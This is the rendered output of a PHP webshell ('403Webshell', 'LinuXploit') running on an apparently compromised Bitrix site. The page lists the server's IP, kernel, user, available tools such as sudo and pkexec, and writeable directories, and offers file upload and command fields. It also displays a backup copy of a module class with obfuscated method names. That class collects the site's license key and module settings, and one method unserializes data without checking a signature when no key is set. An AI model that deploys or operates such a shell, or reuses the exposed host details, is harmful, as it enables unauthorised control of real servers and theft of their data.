403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/aspro.next/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/aspro.next/classes/general/_CNextTools.php.back
<?
class CNextTools{
	static $moduleClass = 'CNext';

	function ___1595018847(){
		ob_start();
		$arData = $arModuleInfo = array();

		if(class_exists($moduleClass = self::$moduleClass)){
			if($moduleID = $moduleClass::moduleID){ // use $moduleClass::MODULE_ID or 'aspro.mshop' for debug
				if(file_exists($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/classes/general/update_client.php') && file_exists($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/classes/general/update_client_partner.php')){

					include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/classes/general/update_client.php');
					$key = $arData['CLIENT']['LICENSE_KEY'] = CUpdateClient::GetLicenseKey();
					$key = base64_encode($key);

					$arUpdateList = CUpdateClient::GetUpdatesList($errorMessage, 'en', 'Y');
					$arClient = $arUpdateList['CLIENT'][0]['@'];
					if(isset($arClient) && is_array($arClient)){
						$arData['CLIENT']['CMS_EDITION'] = $arClient['LICENSE'];
						$arData['CLIENT']['CMS_EXPIRE_DATE'] = date('d.m.Y', strtotime($arClient['DATE_TO']));
						$arData['CLIENT']['NAME'] = urlencode($arClient['NAME']);
						$arData['CLIENT']['PARTNER_ID'] = $arClient['PARTNER_ID'];
					}

					$dbRes = CSite::GetList($by = 'id', $sort = 'asc', array('ACTIVE' => 'Y'));
					$arData['SETTINGS']['SITES_COUNT'] = $dbRes->SelectedRowsCount();

					if($obModule = CModule::CreateModuleObject($moduleID)){
						$arModuleInfo = array();
						$arRequestedModules = array($moduleID);
						$arData['MODULE']['SM_VERSION'] = SM_VERSION;
						$arData['MODULE']['MODULE_ID'] = $moduleID;
						$arData['MODULE']['MODULE_VERSION'] = $obModule->MODULE_VERSION;
						include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/classes/general/update_client_partner.php');
						$arUpdateList = CUpdateClientPartner::GetUpdatesList($errorMessage, 'en', 'Y', $arRequestedModules, array('fullmoduleinfo' => 'Y'));
						if($arUpdateList && isset($arUpdateList['MODULE'])){
							foreach($arUpdateList['MODULE'] as $arModule){
								if($arModule['@']['ID'] === $moduleID){
									$arModuleInfo = $arModule['@'];
									break;
								}
							}
						}
						if($arModuleInfo){
							$arData['MODULE']['MODULE_EXPIRE_DATE'] = date('d.m.Y', strtotime($arModuleInfo['DATE_TO']));
						}
						$arData['MODULE']['OPTIONS'] = array();
						if($ob = new $moduleClass()){
							if(method_exists($ob, 'GetAdminOptionsValues')){
								$arData['MODULE']['OPTIONS'] = (array)$ob->GetAdminOptionsValues();
							}
						}
					}

					$arData['TIMESTAMP'] = time();
				}
			}
		}

		$result = $arData ? 'data='.self::___1596018847($arData, $key).'&key='.urlencode($key) : false;
		ob_get_clean();

		return $result;
	}

	function ___1596018847($data, $signKey = ''){
		$strData = serialize(self::___1590018847($data));
		$tmp = base64_encode($strData);

		if(strlen($signKey)){
			$signer = new \Bitrix\Main\Security\Sign\Signer;
			$signer->setKey(hash('sha512', $signKey));
			$tmp .= '.'.$signer->getSignature($strData);
		}

		return urlencode($tmp);
	}

	function ___1598018847($hash, $signKey = ''){
		$data = false;

		if(is_string($hash) && strlen($hash)){
			$tmp = urldecode($hash);


			if(($dotPos = strpos($tmp, '.')) === strrpos($tmp, '.')){
				if($bSigned = ($dotPos !== false)){
					$signature = substr($tmp, $dotPos + 1);
					$tmp = substr($tmp, 0, $dotPos);
				}
				$strData = base64_decode($tmp);

				if($bSigned && strlen($signKey)){
					try{
						$signer = new \Bitrix\Main\Security\Sign\Signer;
						$signer->setKey(hash('sha512', $signKey));
						if($signer->validate($strData, $signature)){
							$data = self::___1593018847(@unserialize($strData));
						}
					}
					catch(Exception $e){
						echo $e->getMessage();
					}
				}
				elseif(!strlen($signKey)){
					$data = self::___1593018847(@unserialize($strData));
				}
			}
		}

		return $data;
	}

	function ___1590018847($arData){
		if(is_array($arData)){
			$arResult = array();
			foreach($arData as $key => $value){
				$arResult[iconv(LANG_CHARSET, 'UTF-8', $key)] = self::___1590018847($value);
			}
		}
		else{
			$arResult = iconv(LANG_CHARSET, 'UTF-8', $arData);
		}

		return $arResult;
	}

	function ___1593018847($arData){
		if(is_array($arData)){
			$arResult = array();
			foreach($arData as $key => $value){
				$arResult[iconv('UTF-8', LANG_CHARSET, $key)] = self::___1593018847($value);
			}
		}
		else{
			$arResult = iconv('UTF-8', LANG_CHARSET, $arData);
		}

		return $arResult;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit